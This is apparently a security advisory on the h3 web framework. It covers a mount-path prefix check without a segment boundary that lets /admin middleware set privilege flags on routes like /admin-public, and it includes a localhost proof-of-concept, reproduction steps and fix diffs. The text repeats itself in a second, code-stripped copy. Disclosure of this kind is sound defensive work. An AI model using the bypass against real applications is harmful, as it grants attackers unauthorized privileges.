Summary
The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.
Details
The root cause is in src/h3.ts:127 within the mount() method:
// src/h3.ts:122-135
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
if ("handler" in input) {
if (input["~middleware"].length > 0) {
this["~middleware"].push((event, next) => {
const originalPathname = event.url.pathname;
if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check
return next();
}
event.url.pathname = event.url.pathname.slice(base.length) || "/";
return callMiddleware(event, input["~middleware"], () => {
event.url.pathname = originalPathname;
return next();
});
});
}
When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.
A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:
// src/utils/internal/path.ts:35-45
export function withoutBase(input: string = "", base: string = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
if (!input.startsWith(_base)) { // <-- Same flaw: no segment boundary check
return input;
}
const trimmed = input.slice(_base.length);
return trimmed[0] === "/" ? trimmed : "/" + trimmed;
}
The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).
Exploitation flow:
- Developer mounts a sub-app at
/admin with middleware that sets event.context.isAdmin = true
- Developer defines a separate route
/admin-public/info on the parent app that reads event.context.isAdmin
- Attacker requests
GET /admin-public/info
- The
/admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true
- The middleware's "restore pathname" callback fires, control returns to the parent app
- The
/admin-public/info handler sees event.context.isAdmin === true
PoC
// poc.js — demonstrates context pollution across mount boundaries
import { H3 } from "h3";
const adminApp = new H3();
// Admin middleware sets privileged context
adminApp.use(() => {}, {
onRequest: (event) => {
event.context.isAdmin = true;
}
});
adminApp.get("/dashboard", (event) => {
return { admin: true, context: event.context };
});
const app = new H3();
// Mount admin sub-app at /admin
app.mount("/admin", adminApp);
// Public route that happens to share the "/admin" prefix
app.get("/admin-public/info", (event) => {
return {
path: event.url.pathname,
isAdmin: event.context.isAdmin ?? false, // Should always be false here
};
});
// Test with fetch
const server = Bun.serve({ port: 3000, fetch: app.fetch });
// This request should NOT trigger admin middleware, but it does
const res = await fetch("http://localhost:3000/admin-public/info");
const body = await res.json();
console.log(body);
// Actual output: { path: "/admin-public/info", isAdmin: true }
// Expected output: { path: "/admin-public/info", isAdmin: false }
server.stop();
Steps to reproduce:
# 1. Clone h3 and install
git clone https://github.com/h3js/h3 && cd h3
corepack enable && pnpm install && pnpm build
# 2. Save poc.js (above) and run
bun poc.js
# Output shows isAdmin: true — admin middleware leaked to /admin-public/info
# 3. Verify the boundary leak with additional paths:
# GET /administrator → admin middleware fires
# GET /adminstuff → admin middleware fires
# GET /admin123 → admin middleware fires
# GET /admi → admin middleware does NOT fire (correct)
Impact
- Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (
isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes.
- Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler.
- Path mangling: The
withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.
- Scope: Any h3 v2 application using
mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.
Recommended Fix
Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:
Fix for src/h3.ts:127:
mount(base: string, input: FetchHandler | FetchableObject | H3Type) {
if ("handler" in input) {
if (input["~middleware"].length > 0) {
this["~middleware"].push((event, next) => {
const originalPathname = event.url.pathname;
- if (!originalPathname.startsWith(base)) {
+ if (!originalPathname.startsWith(base) ||
+ (originalPathname.length > base.length && originalPathname[base.length] !== "/")) {
return next();
}
Fix for src/utils/internal/path.ts:40:
export function withoutBase(input: string = "", base: string = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
- if (!input.startsWith(_base)) {
+ if (!input.startsWith(_base) ||
+ (input.length > _base.length && input[_base.length] !== "/")) {
return input;
}
This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.
References
Summary
The
mount()method in h3 uses a simplestartsWith()check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is/or end-of-string), middleware registered on a mount like/adminwill also execute for unrelated routes such as/admin-public,/administrator, or/adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.Details
The root cause is in
src/h3.ts:127within themount()method:When a sub-app is mounted at
/admin, the checkoriginalPathname.startsWith("/admin")returnstruefor/admin,/admin/,/admin/dashboard, but also for/admin-public,/administrator,/adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.A secondary instance of the same flaw exists in
src/utils/internal/path.ts:40:The
withoutBase()utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g.,withoutBase("/admin-public/info", "/admin")returns/-public/info).Exploitation flow:
/adminwith middleware that setsevent.context.isAdmin = true/admin-public/infoon the parent app that readsevent.context.isAdminGET /admin-public/info/adminmount'sstartsWithcheck passes → admin middleware executes → setsisAdmin = true/admin-public/infohandler seesevent.context.isAdmin === truePoC
Steps to reproduce:
Impact
isAdmin,isAuthenticated, role assignments) on requests to completely unrelated routes.withoutBase()utility produces incorrect paths (e.g.,/-public/infoinstead of/admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing.mount()with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.Recommended Fix
Add a segment boundary check after the
startsWithcall in both locations. The character immediately following the base prefix must be/,?,#, or the string must end exactly at the base:Fix for
src/h3.ts:127:mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; - if (!originalPathname.startsWith(base)) { + if (!originalPathname.startsWith(base) || + (originalPathname.length > base.length && originalPathname[base.length] !== "/")) { return next(); }Fix for
src/utils/internal/path.ts:40:export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const _base = withoutTrailingSlash(base); - if (!input.startsWith(_base)) { + if (!input.startsWith(_base) || + (input.length > _base.length && input[_base.length] !== "/")) { return input; }This ensures that
/adminonly matches/admin,/admin/, and/admin/...— never/admin-public,/administrator, or other coincidental string-prefix matches.References